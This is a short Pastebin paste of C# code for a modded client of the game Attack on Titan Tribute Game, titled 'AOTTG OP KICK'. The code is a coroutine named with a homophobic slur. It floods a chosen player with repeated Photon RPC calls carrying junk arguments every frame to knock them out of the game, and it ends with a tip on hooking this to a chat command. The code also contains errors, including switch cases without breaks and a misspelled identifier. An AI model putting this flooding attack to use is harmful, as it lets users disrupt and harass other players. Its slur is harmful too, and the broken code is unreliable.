Advertisement
Guest User

AOTTG OP KICK

a guest
May 3rd, 2016
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.60 KB | None | 0 0
  1. //in FengGameManagerMKII create this Ienum
  2.  
  3. public IEnumerator fagremover(PhotonPlayer player, int type, int packets)
  4. {
  5.     string rpc = string.Empty;
  6.     switch (type)
  7.     {
  8.         case 1:
  9.             rpc = "Chat";
  10.         case 2:
  11.             rpc = "RPCLoadLevel";
  12.         case 3:
  13.             rpc = "RefreshRacingResults";
  14.     }
  15.     while (player != null)
  16.     {
  17.         for (int i = 0; i < packets; i++)
  18.         {
  19.             base.photonVeiw.RPC(rpc, player, 2345324532453f);
  20.         }
  21.         if (player == null)
  22.         {
  23.             yield break;
  24.         }
  25.         yield return new WaitForEndOfFrame();
  26.         continue;
  27.     }
  28. }
  29.  
  30. //Thats more than half the battle, now just make a command in InRoomChat.OnGUI()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement